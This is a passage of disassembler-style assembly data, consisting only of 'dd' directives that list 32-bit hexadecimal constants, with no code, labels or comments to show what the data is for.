		dd 0DA540557h, 0FCA32C8h, 0E0A1DA3h, 0BBCB1265h, 888D9443h
		dd 0E2FCD1D3h, 90EEA781h, 403F5B50h, 4F28BCBBh,	0E7282790h
		dd 349085C2h, 30FC70Eh,	647478BAh, 3FB881D8h, 4A0114F4h
		dd 156A2CC7h, 97014C40h, 0CD14D847h, 0C2155AEBh, 0F4789A66h
		dd 0A27DEBBEh, 5EF1E9F0h, 907E25F3h, 0C8BB076Bh, 52AEB4E2h
		dd 5A660EF3h, 16DF4C30h, 5CD8C2D1h, 0B410147Fh,	0FECDC2EDh
		dd 519C9157h, 0C02C0CE4h, 18ECC68Bh, 0CC34DF0h,	95C5725Ah
		dd 0A080A3C4h, 2932779h, 5BCCB90Dh, 61543276h, 5184CA3Fh
		dd 0DFE441C7h, 0A626BA06h, 0D31F125Eh, 7A1FD57h, 0F4AFB87Fh
		dd 3F852DEFh, 0F6C13CA3h, 5496E9F1h, 6887EFD5h,	7EF773E1h
		dd 178C0F20h, 0B0134B75h, 3E165314h, 73124F17h,	0ACA84557h
		dd 0A48CE01h, 6AEA0103h, 80ECB198h, 0E839317h, 3513B35Eh
		dd 9A59CBBEh, 68121494h, 0ADA83069h, 0A6FA4C0h,	0B278E93Ah
		dd 0A3F531C3h, 0D90BDB7Bh, 570212D0h, 55EEE082h, 0DBA5DB67h
		dd 307ACE3h, 533C5ACCh,	346AE5E0h, 0D049FF30h, 67313E2Dh
		dd 762FF632h, 4D4A6A87h, 0C5A37913h, 0FA8BB913h, 402A199Ch
		dd 0E71C68BFh, 13BD8D10h, 0B7B2B856h, 0D24532Eh, 41AF4274h
		dd 81032FD1h, 49F4C98Ch, 8A710205h, 5D20FA02h, 7220C3FAh
		dd 67569F79h, 233B1C82h, 6E20DD62h, 116599E1h, 0ED127897h
		dd 5E968A2Bh, 0EF56D11Eh, 1A1254FBh, 4475601Fh,	80F70157h
		dd 0FA678354h, 0EB0035F6h, 0D70DF52h, 5F5C316Fh, 287893Eh
		dd 88089582h, 2DC08E15h, 62ADF159h, 5D05C1C4h, 0CA3B901h
		dd 0E17111E3h, 0AB87D46Eh, 89B129A2h, 0F2922B3Ah, 0B097D8D0h
		dd 96679D8Ah, 505BD804h, 46C299AEh, 5A288D7Ah, 504C041h
		dd 31C7950Fh, 637B2EA8h, 8B84067h, 0F140E6C2h, 0BEAAA05Fh
		dd 0C50BB878h, 0F622F3Dh, 0D4EF217Ah, 0B07F2083h, 0FC626883h
		dd 5D0DE943h, 65020229h, 7D0B7BE6h, 800791A0h, 74D677F3h
		dd 5402D2F3h, 71336858h, 0A1A0F566h, 0F64D75E2h, 0F990B51h
		dd 1E280291h, 25A74521h, 0E98406E5h, 0F4D16FEFh, 0C0CF9ECFh
		dd 2E482C73h, 3BBB1E04h, 0B1E91B74h, 0EE832694h, 23443CBAh
		dd 0B30BB392h, 892E6227h, 9ED82C9Fh, 906A1E47h,	0BF7AE77Bh
		dd 0A786F23Dh, 21CC40B4h, 4FB60B2Ah, 0BC09D629h, 544418D7h
		dd 30AFB05Ah, 0F76B9081h, 922DEE19h, 276FD4FDh,	0D2389ABh
		dd 284E8684h, 0D18E79BFh, 0AD516A06h, 0DD0114C8h, 52817ECAh
		dd 2F513AD0h, 98F74C9Ch, 0D336B905h, 0A44BAE19h, 0FDA32916h
		dd 0F604D14Eh, 0A6E5E9E1h, 277BB7E7h, 1F3C428h,	5BA5341Fh
		dd 2EC10BECh, 0DD50AFFEh, 40478109h, 2672C887h,	60210B27h
		dd 0ABF2E3DFh, 2C59E8D1h, 0F5043A4Bh, 0E83B0E38h, 0B1513074h
		dd 0C828E612h, 0F159D1FFh, 71F5E64Bh, 0BE5B45B1h, 0A19412Dh
		dd 23B72Ah, 0B353A5B7h,	4EF26801h, 4AB7CC09h, 1EC18013h
		dd 0C3D8AEB1h, 90FE73F7h, 521B0B78h, 0D40483B2h, 8D8CFAD7h
		dd 2D94A4CDh, 1048B7D8h, 0E1484586h, 3727F2Eh, 0B8E97CC2h
		dd 8B57F9C1h, 0B8C6B5ACh, 29FCC500h, 0E831DF2Eh, 0AC4427E9h
		dd 133D3DDBh, 0D744DED7h, 498D1684h, 6350CE29h,	396F016Eh
		dd 0DC68503Ah, 0C0F82859h, 69984270h, 7CF60481h, 0C0199A46h
		dd 2C0E2EC4h, 0C35C7A4Bh, 7F4B3CDDh, 0C08977A0h, 12549F22h
		dd 40933CFCh, 246EF608h, 3B4E02CFh, 0FF801268h,	49032D43h
		dd 0E6224F0h, 5DC725BBh, 71EBC45Ch, 0A277A7FCh,	0EC9939F1h
		dd 0C7D9BD09h, 0B7DCAC6h, 0BF7BEBF1h, 0AF2F8BD8h, 8BC8F999h
		dd 1C55358Bh, 0A36817AAh, 0C1DBF81Bh, 889BB652h, 0E748823Eh
		dd 16478F03h, 0BC6DAAECh, 306BB063h, 16305EFh, 0AC0268F9h
		dd 0CA0ED39Dh, 6F961F2Bh, 51E3E201h, 832A1DD4h,	0F5B9D5D6h
		dd 69806A31h, 172737CFh, 41D1040Fh, 0F73A7E92h,	87EF2054h
		dd 0CDF90839h, 0ADA45AF9h, 9BA98C1h, 0F1014043h, 2708B888h
		dd 0F17FEAE2h, 67E94184h, 5DDD6E1Eh, 68E7C12Bh,	0EDE59FA8h
		dd 0BD8F2D8Fh, 1F7AE583h, 0F5B80B6Dh, 0D92A0E4Ch, 0C1C61352h
		dd 6A3888F7h, 4A7ECCA6h, 0AFA684B6h, 0E9B042B9h, 74B57495h
		dd 0D2D81A7h, 3B448340h, 15BEF87h, 3F886860h, 0C24FC18Ah
		dd 8151C2F1h, 926FA1D5h, 61207833h, 7AD10CF2h, 0A80C0136h
		dd 2D272E05h, 0CDD033E9h, 3EBE5650h, 751C20BCh,	0C20B74B8h
		dd 255782D9h, 80BF0506h, 715A663Fh, 0D77BB7EDh,	4A408360h
		dd 91EBF84Ch, 20024FAh,	78101F94h, 80C170D7h, 0BDEDE908h
		dd 2324BFD2h, 5667687Dh, 31254190h, 88DBA76Ch, 4D3E0D1Ah
		dd 66EF4F69h, 300990E1h, 2333D18h, 42756319h, 3F086B72h
		dd 0E613441Eh, 6FDB534h, 17831C08h, 7E231841h, 0AF4B96CBh
		dd 0A7ABA2C5h, 6C1A1268h, 0EF4AFAB2h, 30EA7975h, 63D368FDh
		dd 84AC6AE1h, 0B3F2E0F4h, 86F52C27h, 0BD0DAFA2h, 9BC58062h
		dd 592DB224h, 0EE970B5h, 5D27639Ah, 0B697A4Bh, 0ACF1093Dh
		dd 0AE4CD80Bh, 4AFBC20h, 7D1BCDB8h, 58C6AF08h, 0A2649326h
		dd 0EB8078Ah, 0E0158E57h, 13E9FFE8h, 0D3706D48h, 29C8EFEh
		dd 0B168E1F7h, 3D967358h, 0CB73B413h, 0D6012DDAh, 488BCBE9h
		dd 9FC0BCFDh, 0D1A7CFF3h, 105D6910h, 52906801h,	99053E7Ah
		dd 8023E54Ah, 3F47A81Ah, 870C0B60h, 0B1F50FD9h,	0CC853F66h
		dd 0AD4A553Bh, 3B08417Ah, 0F1E6B198h, 0E489C39h, 0D0148A07h
		dd 9FE1D222h, 64EFB8DEh, 5E0271C2h, 5C5EF929h, 90CA0150h
		dd 0B76870E1h, 569ECD79h, 480932C9h, 65BE2B9h, 0DBF7264Ch
		dd 570B644Bh, 7D56D86Eh, 0F3E00F1Bh, 8C241277h,	0A1009330h
		dd 114B357h, 2E5558DAh,	69E29824h, 8202A102h, 23539DA2h
		dd 60F17146h, 2C3F4952h, 40567358h, 3A704D0h, 39C90847h
		dd 256612CCh, 4E0B44B5h, 0F3922F04h, 72157B1Dh,	4B817EF5h
		dd 0C96571BAh, 13617933h, 0DFCE6A4Dh, 5C94BD00h, 3E93A7Ah
		dd 6BCAAA5Eh, 0A04BAC4Bh, 9685156h, 4C4234A9h, 0E99EC47Ch
		dd 82C52A4Ah, 6C274E0Bh, 0E316C4F7h, 4BBE179Eh,	0C65F58D6h
		dd 0B5A90B0h, 77265662h, 0D66EA06h, 4940D197h, 38898ADEh
		dd 289F4483h, 9EDD5F7h,	416E7B02h, 8075897Fh, 691F6F0Ah
		dd 0F9424C2Dh, 0A704C603h, 86580970h, 4FC73F19h, 0AED413BDh
		dd 8B0EE85Bh, 27BEDE5Ah, 5A5F96DFh, 0FA3BF428h,	0C95AB7EEh
		dd 5564B940h, 3043323Bh, 0DBA4EBC1h, 0E24E3EE9h, 0A7307329h
		dd 8CC14E33h, 0F2BBFEE3h, 427E013Ch, 46E95F9Bh,	996BAA68h
		dd 9EC996FDh, 0AFC34549h, 0E90A02CEh, 81F372A0h, 0DC0223F1h
		dd 9C0CBB75h, 0FFA5BC74h, 90C1E690h, 15F5515h, 0F00927C9h
		dd 0F112FEAh, 6915E930h, 90E28980h, 0B91D2DBCh,	0A92CBDE5h
		dd 39EF9216h, 0FACB7E00h, 0BFE26812h, 0BC4E0DB2h, 0E23EB9A3h
		dd 68CA10BDh, 665B590Eh, 202FAC77h, 0D6F7005Fh,	203B850h
		dd 659D0AAAh, 155C829Bh, 40DF67D2h, 2C3719CAh, 620462Fh
		dd 0A54A2CE9h, 17BC26EAh
		dd 0DC724360h, 67E97165h, 0A1BB8087h, 2012ED25h, 0EB269F27h
		dd 0DF14DDD4h, 4BE43BA7h, 53B1F544h, 6AC4F5FCh,	95E0F4EAh
		dd 57CF542Eh, 26D18208h, 0F4DE1CC6h, 0A11FEBDEh, 0AD845697h
		dd 2B28CF8h, 0AFBA6611h, 56CB912h, 8C7A160Ch, 0DF7287F3h
		dd 772C6E90h, 98808695h, 2D21092Bh, 9252138Bh, 0AE17BE3Fh
		dd 0EE4AF5ECh, 6810B8C1h, 425F9D2Eh, 987928F4h,	0D2F6C02h
		dd 0A0226326h, 9D41AA60h, 8836D72h, 3B141C45h, 132671CAh
		dd 0E232ACEDh, 0A6CE5EF7h, 33FACAA0h, 5955852Dh, 9C4B46C8h
		dd 0C2CEB3Ah, 7A49413Ah, 0E0ED09F1h, 0E0D5902Bh, 95656EC7h
		dd 0A099BF22h, 0C6C92F59h, 0D9E91668h, 0C3CBAE9Ah, 30DFE825h
		dd 0B5B7A5F4h, 0E0CB9F1h, 39800E4Bh, 0EA9E62F2h, 63EFCA6Ah
		dd 72B86CD1h, 0E5BC4326h, 0F3AC1109h, 825C2D16h, 54855A09h
		dd 28318855h, 770DB18Bh, 7D832D82h, 0E9F05574h,	54C8B514h
		dd 420205BFh, 0FD31C10Ah, 86607D5Fh, 80829B36h,	4F0B4D37h
		dd 0D0829535h, 0E6559541h, 70EE2529h, 0A7AA268h, 0B0B04B5Ah
		dd 33C7012Dh, 0AFE91107h, 0B5D77FA6h, 50C29276h, 9CBCA7Ah
		dd 2D1D37C5h, 0D893C25Dh, 78611C96h, 0F5E665FFh, 0F16505F6h
		dd 0EE5B16h, 74BD55C5h,	8B9D636Dh, 0CDE0DF90h, 0C0192EB9h
		dd 0A2A5095Dh, 0A4E7D7DAh, 9CC38B2Eh, 0AD603266h, 23E17B5Ah
		dd 0F87D710Dh, 93C09362h, 274806C7h, 0E0215A53h, 0CCBC17A0h
		dd 5C1CD425h, 300D99Ah,	8148FF0Dh, 25687BF5h, 1F4B29Bh
		dd 0D90FF33Ch, 2A039553h, 820E1FEh, 4F1BF097h, 0D781ED5Fh
		dd 5F652AFBh, 0D40AED22h, 75E989F9h, 2BD225Dh, 1666EC52h
		dd 0F0D55C4Fh, 9441BFA9h, 1DD1C330h, 2434372Ah,	85270814h
		dd 5D01BE03h, 0E681E8AFh, 143F2754h, 2C1D18C0h,	4E62E009h
		dd 163E8E9h, 0D95DA377h, 0AD50AACCh, 4C6C70E7h,	882FEA43h
		dd 0E85BCA04h, 0F3AFF4FDh, 0A91F18CFh, 0E1485DCBh, 0A096E82Eh
		dd 281658BBh, 0C984BD7h, 0CB74E9D8h, 940FB97Ch,	463C6021h
		dd 4A6D33FBh, 0EC02EBEAh, 43D0895Dh, 2D00DCCAh,	0EA84CF7h
		dd 220AA190h, 905B2919h, 8DA2C703h, 0D681C430h,	4D809D81h
		dd 370761C3h, 0DD4B8952h, 13CECEBBh, 0CFF1A8E9h, 0A552452Bh
		dd 4E83B3E2h, 63582FF5h, 0E9520959h, 0E5DDEAD2h, 0D75C94B4h
		dd 5F41AA60h, 0DCC1D032h, 6C3B7F65h, 2668C17Fh,	0EFAB813Eh
		dd 0A070AF8Dh, 0FAE4752Dh, 0BA4A7DE2h, 0ED683B31h, 325412Ah
		dd 3A2122A4h, 8416E912h, 84E137BAh, 6CEFC94h, 0C6FED6F6h
		dd 0CE801C04h, 9FD1FBFDh, 2C9AB83Bh, 70258A7Dh,	0FF019713h
		dd 3A362268h, 425B318Fh, 0D51C585Eh, 5A6BB68Eh,	542D95C0h
		dd 64AF17D7h, 39BF863h,	5FB35350h, 4B1610B4h, 45BE022Fh
		dd 5F39E121h, 0AE04B950h, 896B0B96h, 0F92069A8h, 41C1BD0Bh
		dd 0C631800Ah, 4B3629EBh, 8A05004h, 16F17568h, 0EE025735h
		dd 5601788Eh, 8739F6BEh, 0F5B02B23h, 861A1607h,	3D20FE33h
		dd 603C4E50h, 0A7850C4Ah, 2A941B44h, 145E2327h,	0E966F808h
		dd 0C91CB4D4h, 20A91AD5h, 456851A4h, 3E5F0962h,	65FF5759h
		dd 2A7E05CDh, 220FC10Bh, 0CEC19FB2h, 0D8CB6889h, 6E710B0Ch
		dd 0D007FCFh, 168B0719h, 350B4871h, 2C951F8h, 56C71360h
		dd 72EA4C69h, 6E9D4513h, 7E2061B1h, 458470A5h, 0F1B2607Fh
		dd 7E4A2590h, 0E6C17EC0h, 3972C103h, 6F638E20h,	5112CBE6h
		dd 0EB3216D2h, 859EB3D0h, 0D6804CB7h, 0CB075000h, 5539E90Bh
		dd 2D3E7783h, 5AF97BF4h, 54C5E096h, 0F701BA80h,	0DE3097DBh
		dd 0D7A47492h, 267D120Eh, 0B009DF1Eh, 5B13F793h, 698515C1h
		dd 4C1B05A1h, 2834BEEh,	301683DCh, 3AA4D55Ah, 2C5BD809h
		dd 0F7629A2Ch, 0C495EC7Ah, 2D097C3Bh, 0FDAFC277h, 8AC93FF9h
		dd 0F7ADC1E1h, 0B8609D2Fh, 0CD01B061h, 6FB9595Eh, 778A4C19h
		dd 89D43DE2h, 0B5B982DAh, 17B466A0h, 0BE986857h, 91E86318h
		dd 0F0A9958Ch, 985D13FAh, 8DA07AD7h, 9297A8B5h,	10754182h
		dd 697874h, 811D7660h, 0D2790CF2h, 0E2D14512h, 57B79609h
		dd 0C121C898h, 6937519Fh, 510BF85Ch, 9854C654h,	0B63E2EBh
		dd 0DDF7411Ah, 0F6B0C085h, 73D21094h, 0E862FE36h, 0B09505EAh
		dd 45253EAh, 0FA458768h, 1360FE1Dh, 4E7C9AF2h, 5A41F842h
		dd 672813B8h, 627009A0h, 23C22C4Ch, 0E1C3C787h,	0D80B0F29h
		dd 331840E3h, 0D21851C5h, 0FFD7722Ah, 0D787B644h, 82F63D31h
		dd 0AB2BC46Bh, 0B68600Fh, 86114510h, 0C8EB5AE9h, 2012B805h
		dd 0E4844B06h, 0EEDD12FBh, 5F27038Ah, 0BE813FBAh, 7E7D168Dh
		dd 0A1682583h, 0A27F675Eh, 583179D9h, 17737154h, 0FB56DD7Ah
		dd 258A4EE1h, 33FD7E04h, 0F86E0A80h, 0E9500175h, 472E1590h
		dd 0F307BA0Ch, 0C9C2325h, 404D0CCBh, 0D31857B7h, 0F6F92E28h
		dd 645FE306h, 0A2403C0h, 52D25E3Fh, 0F823B9Eh, 0D9292226h
		dd 1C195AF7h, 0C51EEA80h, 0E8300CC2h, 79691670h, 16B9C8FFh
		dd 12C04B12h, 1610308h,	321436BEh, 0AF6C707Bh, 79D65613h
		dd 0E4D821AFh, 68B73A2Eh, 3C167594h, 5A8BF3D5h,	7857C2DCh
		dd 31164BE9h, 0B8F0FA86h, 0A5D03C34h, 4B045E0Ch, 2C831390h
		dd 266C3F3Fh, 9DA63FB8h, 5709AE13h, 124EEE73h, 0EB9BB551h
		dd 68E550E0h, 25920707h, 0DEC723E8h, 2DA22516h,	176ED50Eh
		dd 923589EAh, 76FC8CF0h, 9185F4F7h, 0E866B0FAh,	6B256803h
		dd 5CF4653h, 59C80854h,	0A8A7C1F6h, 0C4AE68AAh,	678C3F02h
		dd 0BB660E53h, 0BA8305D7h, 97C45C16h, 0C283C288h, 9F1C1C40h
		dd 0B98374ACh, 0B9F7BAEAh, 0B1C58C5h, 0E94E1A54h, 2383DA4Ah
		dd 0F60C3558h, 828E843Eh, 91A07F67h, 0ECB15166h, 59ECCCE0h
		dd 58E73004h, 60F2F828h, 2D133194h, 7679BE3Ch, 13FA261h
		dd 4F68BFC0h, 0E7AF4094h, 9A075EBEh, 2EFC140h, 0D0032A3Fh
		dd 0DF63B100h, 6048E9FEh, 13E6FDF3h, 92906765h,	2AB5F604h
		dd 47BF5489h, 9840E91h,	0A698E777h, 1B9C00D0h, 0E0D12B40h
		dd 3502E8E4h, 277D6446h, 0A0DA5D01h, 72A9A432h,	1AA9D75Fh
		dd 0FE493C45h, 1300EF48h, 8F5D0AB9h, 0E2804750h, 5C3DD54Ah
		dd 5029F06Fh, 980DE913h, 39047567h, 995FC1EBh, 5ACE5125h
		dd 6526E159h, 9CBD6B33h, 7E512C7Ah, 3B0EC282h, 9CBD0973h
		dd 7D255289h, 8DFCEB94h, 61FA7C5Bh, 0F5383101h,	752F6CCEh
		dd 1E5F7C2Ch, 0E4C0C482h, 145E5702h, 0E328923Bh, 0C3ECDA8Dh
		dd 0EAD3F6EDh, 1092EBEBh, 0F21A050Ch, 0B4A9C9Eh, 38BBD54Fh
		dd 774B3AA4h, 0FF4B4ADBh, 860338DEh, 30D4F6E5h,	8EC26A7h
		dd 0A5CBE918h, 1344BB54h, 17E1B77h, 956CF9B3h, 76266003h
		dd 5890A64Ah, 7BFE562Dh, 0A2055D4Dh, 0CD06E05Eh, 68E89441h
		dd 3D2413B7h, 804AB834h, 63542D58h, 0C1075E09h,	230889E5h
		dd 2CBD93D6h, 96C13D85h, 0BD801F6Dh, 79B74684h,	0EC24088Fh
		dd 72EC4512h, 1F30FA07h, 0A906D278h, 517729A9h,	0AC0B6E03h
		dd 0AD650054h, 0E86E40A1h, 75E9F072h, 0C525C967h, 5E932555h
		dd 0B96260BFh, 30043AD5h, 52E94173h, 5D28A692h,	948DC605h
		dd 8FECBFA5h, 0FBB25200h, 0F280CAFEh, 10FC6F4Bh, 4467E916h
		dd 0A8515EECh, 2F02B212h, 6CE9D102h, 594EC558h,	9D829761h
		dd 58102C7Dh, 0CA2917B2h, 67173501h, 31F41A03h,	0DDF4B5ABh
		dd 0A8CD018Ch, 929E9D4Ch, 4C7B1220h, 0A62F335Ah, 602DFB5Ch
		dd 0E1923F25h, 0AF39FE2Fh, 46B19010h, 831E058Eh, 0D85701E9h
		dd 3A1CBE26h, 7D6C5939h
		dd 4FD5A70Fh, 43EBD212h, 2EE9085Fh, 0D953FEBCh,	5877F805h
		dd 0D5C97B87h, 0D069F70Eh, 1ADDDB46h, 0BA3FF89Ch, 0FAFC5A2Ch
		dd 68C330B0h, 0DEEC015Fh, 0C35D54C4h, 98E9529Bh, 4B0F6E0Bh
		dd 8F598025h, 69AAE965h, 222F3013h, 0FE72E804h,	3181E6B3h
		dd 3B80E9D2h, 54F84213h, 0F60C68F1h, 2FD05148h,	0BDEC3FE1h
		dd 77ECCDEh, 5970CF5Bh,	56234295h, 8F2539ECh, 4AB16CF5h
		dd 9D1CB668h, 50A34492h, 9ED2FA4Bh, 9F1DD89Fh, 0F8DB47FEh
		dd 99A210E9h, 10CCA44Dh, 0DC9D403Ch, 57A6470Eh,	78523F40h
		dd 0BD669F41h, 55D11E4Dh, 0F70781D9h, 105EC656h, 290EC66Fh
		dd 6D08Ch, 0F58025B5h, 2B45055h, 6302B598h, 0F658E528h
		dd 13A241D5h, 78C2A020h, 45A7608h, 5CE988C5h, 0C996ACB4h
		dd 7809FD5Fh, 49AFDFDEh, 0EF84B2F1h, 0C247F380h, 294387D5h
		dd 0C7ED95BFh, 0EE59946Eh, 0AFAB85C2h, 20C7A4B6h, 686591ABh
		dd 827735A7h, 0AB28ECC0h, 64E87748h, 0F83A1A9h,	0C5FECE54h
		dd 8C8FED45h, 0F5F254D8h, 4811B40h, 18424CF2h, 6BB18007h
		dd 304A750Bh, 0A1DD3F5Fh, 7D48080Bh, 9974C48Eh,	60344416h
		dd 193C6828h, 549622B1h, 27162DBEh, 0D035168Ah,	522390BAh
		dd 4B1F1501h, 4A92CB89h, 54B85D56h, 9B1FF13Bh, 0EA9817BFh
		dd 345C1A90h, 5B6C25E6h, 0DF2EBB78h, 0BF0D4B50h, 22F0BDDh
		dd 5FFE01A0h, 38209B44h, 83485AFCh, 13A431B5h, 0EAE0C5BBh
		dd 0D981A795h, 0FC3B914Eh, 0D1A3E471h, 23DD680Ah, 1BF817Fh
		dd 0BB74F670h, 0A16B45F2h, 2519BD66h, 0F996F7FAh, 74667A0Bh
		dd 6B6B7E65h, 830EC15Dh, 0EED82BB4h, 50A2BD17h,	13092584h
		dd 64FDDCEFh, 0BC3F356Ah, 0C92FF425h, 8B31535Dh, 0A97879E9h
		dd 3237B900h, 0F1814DA3h, 14073111h, 0CC4917A1h, 9B27E918h
		dd 33CCF90Eh, 1BB26808h, 18A51077h, 13AB835Bh, 57E0B4Ch
		dd 2C9B7847h, 689E1280h, 29492526h, 7E092BFAh, 96C03C0h
		dd 0AC0B7757h, 0A64ECFDFh, 0C8FC16D5h, 685E5007h, 9F5896E4h
		dd 5E596E56h, 0E57FB761h, 8614302Eh, 0DCBAACBEh, 714D2FE2h
		dd 2B1A3C6Fh, 6412C97h,	0AA88E1A3h, 440911FFh, 5143550h
		dd 0DEAB3936h, 20304C02h, 259496FDh, 885A1556h,	30B3C5DFh
		dd 0BDA93A0Eh, 0F7F590Bh, 0F54CC7F0h, 0A275200Ch, 0BECB7D87h
		dd 0BEDD8BDBh, 0E203934Ah, 8771A403h, 0B2EBB1F7h, 28335D20h
		dd 80AACB01h, 0BCDFE908h, 0BF591797h, 48CE021Ch, 60D7AE97h
		dd 72B10540h, 0CC684C1Ch, 0FFFFB512h, 574F558Bh, 652DEB28h
		dd 0B77E5620h, 18817A71h, 313DCB1Ch, 6FCD93FBh,	8A14E108h
		dd 9A22C407h, 5FF9E272h, 0E34204FDh, 0EE3D41BBh, 2BDEF704h
		dd 0BE01AE98h, 1A330135h, 305F315Ah, 464FDB58h,	0ADECC165h
		dd 0DC79510Eh, 86B3B841h, 1101C923h, 5C029920h,	24804CD7h
		dd 886D746Ah, 5F1659A6h, 128994AEh, 0C858BFFEh,	207310Ch
		dd 685A3602h, 45777AB5h, 0EEE90608h, 2B0D3BDh, 7163507h
		dd 0D45020BBh, 4E189F54h, 84E1B831h, 58024B12h,	4CDDEB01h
		dd 69FAB4E6h, 4520B300h, 0FDA0312Eh, 0F721382Dh, 7908201Ah
		dd 3AD36059h, 21DA6C9Fh, 8401CAFEh, 0E9196B7Ah,	0CE7AA169h
		dd 5A806C79h, 7F681A0Bh, 98848D25h, 13AB16A6h, 8449EB1Ch
		dd 8E21F705h, 3FDF3CE9h, 0CFB2D941h, 1D6CFBEDh,	0C285B24Eh
		dd 96A66E9h, 32005C56h,	68532E39h, 767C12B2h, 2B80AA7Fh
		dd 902AE414h, 80E0BDFBh, 68043402h, 4A9CE92Ch, 48A1BA00h
		dd 729022BCh, 31467FB9h, 631520C5h, 90ED5B4Eh, 0F652D030h
		dd 83928144h, 98E00520h, 0A31C641Eh, 81E4C083h,	50B68EEh
		dd 0D056769Eh, 4B5E7990h, 0E9E3CC14h, 59426F2Fh, 8FF890Dh
		dd 0F07338F7h, 0E0B975Eh, 0FCA50773h, 14AB8BB8h, 0EDEAB377h
		dd 713B8F00h, 9D5B615Eh, 1A44810Bh, 1B3989FCh, 0CED9BF17h
		dd 0BBF0DC87h, 1673DA7Dh, 0AA6006E9h, 76E09031h, 64130105h
		dd 6C46902Ah, 0F9BD0123h, 4D1DE372h, 0CE65E12Fh, 0C54BC055h
		dd 57100F53h, 21123182h, 2E66E20Eh, 2778F5A2h, 645B64A4h
		dd 0FEC4E597h, 0FA51D8AEh, 49305210h, 0A7F32577h, 764FB659h
		dd 5A7060EFh, 0E12CE952h, 0F7CB1177h, 4ADDCDEAh, 2CCC321h
		dd 2AFEBF22h, 0DFC07161h, 0D51045A4h, 0E9822931h, 0D45668A5h
		dd 6575089h, 7F7F9E2Dh,	196413EEh, 0EB8BC4D0h, 0E345EAC1h
		dd 0EFD0C204h, 7EEF16FAh, 2E2492CDh, 0EBD5B329h, 0F78B5EF4h
		dd 0B00664F6h, 5F80923h, 90077358h, 0A50598h, 6D23C6F4h
		dd 9CC125C2h, 6E3055F9h, 4BF4188Ah, 0F6093EE2h,	2572E51h
		dd 754E8019h, 7A928DE7h, 0EC5198A0h, 0A6BF5ED7h, 5AD91C46h
		dd 2A9CFF2Dh, 5B7E683Eh, 25E99ACCh, 0C87D839Eh,	0A081CE51h
		dd 956A482Fh, 0E53DEF18h, 0A7CD5E82h, 4D8FC92Bh, 680ED24Ch
		dd 5B43BE38h, 27B3DDECh, 0B2B94302h, 0F7280AFAh, 0CBFE7B64h
		dd 58941FD2h, 58D2E0AEh, 0F20A5EB5h, 52BB7455h,	7A5E51DDh
		dd 2F4D4EF7h, 2768822Ah, 7A0994B9h, 491375h, 0D911B57Eh
		dd 79C49F24h, 2F1A5CC1h, 0A42E4487h, 2D05D06Ch,	459D688Ch
		dd 0CC82CD94h, 0C1AFD46Bh, 5078ACE9h, 7134619Ah, 0C15F7006h
		dd 7C0604E7h, 29DA2702h, 30670999h, 0D7F6AD40h,	0C2371590h
		dd 0F4A4428Dh, 0A46EE8BEh, 0A4E56EBCh, 19C17C57h, 0B741B652h
		dd 0C4F7B460h, 5CD958h,	6C07CDBFh, 0C7313250h, 0B06A9CB4h
		dd 7507C5Dh, 71D04D2h, 51866ED0h, 0CE7012B1h, 59E8C87Fh
		dd 9115B97h, 30778668h,	9AC98072h, 73D89DDFh, 77DE0225h
		dd 0E35C2724h, 0B1C94074h, 0DAA86835h, 0D212B5E8h, 2F3CB29Ch
		dd 0F22F5E53h, 43522C56h, 5D71D0D1h, 70EB8174h,	2D03F3D7h
		dd 890A8084h, 23AAE4DDh, 0BE9C8BC7h, 8959BF2Fh,	98DA0192h
		dd 2B69CC2Ah, 3680DD89h, 6DD754A9h, 0C064C3E9h,	2B8480CCh
		dd 49219A81h, 0E5B65280h, 0D0F6C686h, 42BB08D2h, 28D5C5FAh
		dd 0ADD8C37Fh, 32E9B542h, 5E67586h, 95ABA420h, 0C1C9F25Eh
		dd 0E918021Eh, 89BE7E4Ah, 24B6E152h, 0E59705F7h, 0BB5380A3h
		dd 6FE7317Ch, 0CE88BD02h, 85019018h, 0E2D1299Bh, 0F7C9D99h
		dd 653111CEh, 0E3815762h, 800484F3h, 6D64F15Ah,	5D73BF25h
		dd 1F6068EAh, 3B486A24h, 0FCC713C5h, 0AF56051Dh, 7E55D5C2h
		dd 3FCE58BAh, 0E97DFB05h, 0D9ECAA0Ah, 442E1C82h, 51735FCh
		dd 0AE2C5EAFh, 0F6B4B14Fh, 0E8253B38h, 76F9A0EAh, 0A79650Ch
		dd 11FE4850h, 285DC956h, 0B0EE702h, 0C33EB529h,	5E19E4F2h
		dd 742DFE8Ah, 806A7B35h, 62D926D9h, 1B0110B0h, 0E9FC22B1h
		dd 397E7D13h, 94D0F8C4h, 0F00A90BFh, 29E4B59Eh,	0F66AB109h
		dd 0AEAD01D9h, 93D7C1FEh, 86F1C140h, 534C0C83h,	0FC90CF88h
		dd 0E0B7595Bh, 0D44EC4Ah, 0ADE9E728h, 216AF6A3h, 4A18BC57h
		dd 0BE708450h, 0E9B133BCh, 58C82C64h, 0A5553948h, 1A97E01Ch
		dd 0DB448290h, 3D627DF2h, 0FD83B212h, 0AE9DED63h, 9070B48Bh
		dd 0B1EBE02Fh, 59C1972Fh, 0BE32F68Eh, 0AE06E0ECh, 27E9CA20h
		dd 39C866C5h, 4B5C02EBh, 7A25131Bh, 0AFF8C249h,	533C4FD1h
		dd 6F8728EEh, 0D8005341h, 7B315470h, 0E2522777h, 731798F5h
		dd 0A07695EDh, 0C903464Bh, 0D9794B1Eh, 0F4CFD7A4h, 932648ABh
		dd 0B384C7BAh, 524C5336h, 0C9984CEEh, 4C4778E0h, 5E50E98Dh
		dd 0F33DC05Bh, 50C01C3Ch, 0DC0CC3ECh, 187BDA0Dh, 0C52512E6h
		dd 0D9C7FFB2h, 24AF7EE4h, 432DEEDFh, 1CF518AFh,	95ADB044h
		dd 5DB61ADFh, 75C9E6F4h
		dd 0C4886EACh, 244B6EECh, 840E3F9h, 0B3794AE9h,	74FE4B6Eh
		dd 49FB8482h, 0A155EA2Bh, 0C1EEE905h, 0FAAA943Eh, 60FE9E71h
		dd 448C4A3Fh, 816F009Ah, 761594F7h, 0B0E9630Ah,	55CBDEADh
		dd 5E564010h, 0B36B3489h, 5A428435h, 7259AE8h, 98A66FFh
		dd 35743A18h, 8E73A05Dh, 955CA852h, 83822B94h, 203E0F2Dh
		dd 0D4411C84h, 182050D9h, 0D1A6DDh, 0FA47FDBEh,	26906828h
		dd 0F3020EBBh, 0E175A657h, 530376D5h, 0E75F5B2h, 0FDA2D36Ch
		dd 0D8643AC3h, 0E994A0DCh, 92DB4324h, 0F3ADE0A4h, 36416A8Fh
		dd 89991C51h, 728957D0h, 5FFB31F7h, 7F51C872h, 7CC14274h
		dd 0AB588848h, 0C825006Bh, 0DA94BE42h, 0E919BD37h, 0C1692EF8h
